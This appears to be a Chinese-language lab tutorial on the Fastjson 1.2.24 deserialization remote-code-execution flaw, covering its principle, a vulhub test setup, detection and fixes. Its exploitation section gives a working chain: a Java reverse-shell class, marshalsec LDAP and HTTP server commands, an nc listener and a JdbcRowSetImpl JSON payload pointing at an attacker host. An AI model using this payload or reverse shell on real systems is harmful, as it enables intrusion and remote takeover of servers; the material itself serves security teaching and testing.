一、什么是序列化/序列化?
序列化主要使用场景:
- 持久化内存数据
- 网络传输对象
- 远程方法调用(RMI)
二、什么是Fastjson?
fastjson介绍:fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库,用与对JSON格式的数据进行解析和打包。
Fastjson的特点:
- 速度快
- 使用广泛
- 测试完备
- 使用简单
- 功能完备
JSON数据格式{"name":zy, "age":22, "flag":true, "gender":male, "address":cs}("key":value)
三、Fastjson反序列化漏洞的原理与利用思路
- Fastjson在序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列。
- Fastjson在反序列化的时候,会调用成员变量的set方法,public修饰的成员全部自动赋值。
原理:由于它在反序列一个对象的时候会去自动调用这个对象的set方法,所以如果这个set方法中有一些危险的操作,那么就会导致漏洞的产生。
利用思路:上面说了在fastjson反序列化的时候会自动调用对象的set方法,所以我们就有了利用思路,如果我们可以找到一个类,并且这个类中有set方法,这个类的set方法中有一些敏感操作,并且每次运行任意java代码的时候又必须调用这个类,那我们就可以利用这个漏洞了。
经过大佬的总结,以下这几个类就是我们上面所说的类(这些类都是jdk中的,也就是说不管你运行什么样的代码,它都会调用下面这几个类):
- com.sun.rowset
- JdbcRowSetlmpl
- Templateslmpl
- com.sun.org.apache.xalan.internal.xsltc.trax
思考:Fastjson可以支持任意类的反序列化吗?
Fastjson反序列的方法有俩种:
- JSON.parseObject()返回实际类型对象
- JSON.parse()返回JsonObject对象
在序列化的时候,如果子类中包含接口或抽象类的时候,序列化后类型会丢失,所以fastjson为了解决这个问题,提供了一个自省(Autotype)功能,这个功能会给fastjson在序列化后的字符串前面加上类型{"@type":"com.zy.json.User","age":33,"flag":false,"name":"zy"}。
这样在反序列化的时候就可以找到所属的类,也就导致fastjson可以支持任意类的反序列化。
四、靶场搭建
- 我们需要准备俩台虚拟机,一台虚拟机里面必须装有docker,这台虚拟机为靶机,然后用docker去拉取vulhub靶场,以vulhub靶场中的/fastjson/1.2.24-rce漏洞为例,docker安装教程与靶场拉取教程
- 另一台虚拟机为kali作为攻击机
五、漏洞利用流程
- 首先我们使用java需要编写一个恶意代码用于反弹shell
public class LinuxRevers{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/自己用于反弹虚拟机的ip/反弹端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
- 将上面编写的恶意代码编译后放在我们的攻击机kali当中(注意:kali中的jdk版本必须和编译这个恶意代码的jdk版本一致,如不一致务必请切换kali中的jdk版本)。
- 在我们的kali中我们需要启动一个LDAP服务(LDAP服务的搭建自己网上搜去,简单着呢):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://kali的IP:端口/#LinuxRevers" 9473
启动LDAP服务的目的就是为了让LDAP服务去引导我们的攻击网站,引导它去访问我们的http服务并且下载我们的恶意软件
- 所以我们还需要在我们刚才存放恶意代码的目录下开启一个http服务:
python -m http.server 8089
这样,当目标服务器访问我们的LDAP服务时,就会跳转到我们的http服务上去下载我们的恶意代码。
- 在去开一个用于接收反弹shell的端口:
nc -lvp 9001
- 现在一切准备工作都做好了,只欠东风!上面所说的去利用LDAP服务去诱导目标服务器下载恶意代码,那么问题来了,我怎么去让目标服务器去访问我们的LDAP服务呢?我们其实可以用BP去构造一个数据包然后发给服务器,让服务器去访问我们的LDAP服务,当我们把下面构造好的数据包发送之后,我们就会在刚才用nc监听的端口那里看到反弹过来的shell了。
POST / HTTP/1.1
Host: 43.129.135.123:8090(你的靶机ip加端口)
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 154{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.138.152.128:9473(你开启LNAP服务攻击机的ip加监听端口)/LinuxRevers",
"autoCommit": true
}
}
- 整个利用链:
(1)本次攻击流程主要使用了JDK库中的JdbcRowSetlmpl类
(2)JdbcRowSetlmpl在反序列化时会自动调用setDataSourceName方法与setAutoCommit方法
(3)setDataSourceName方法会将DataSource的值赋为我们上面数据包中的值:ldap://192.138.152.128:9473/LinuxRevers
(4)setAutoCommit方法会调用connect()方法
(5)connect()又会调用lookup()连接到LDAP/RMI服务器:
DataSource ds = (DataSource)ctx.lookup(getDataSourceName());
(6)下载恶意代码到本地,执行,攻击发生
六、漏洞挖掘思路
- 找到它发送json序列化数据的接口
- 判断它是否使用fastjson:
(1)非法格式报错:
利用BP去发送一些非法格式,如:{"x":" 它的返回包中可能会直接暴出来它的java包名
(2)使用dnslog探测
{"x":{"@type":"java.net.lnet4Address","val":"xxx.dnslog.cn"}}
如果在dnslong服务器那有回显,那就证明它使用了fastjson - 扫描工具:https://github.com/zilong3033/fastjsonScan
七、漏洞修复
- 升级JDK
- 升级Fastjson到最新版
- 使用安全产品过滤
- 更换其他序列化工具,如Jackson、Gson。
八、免责声明
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。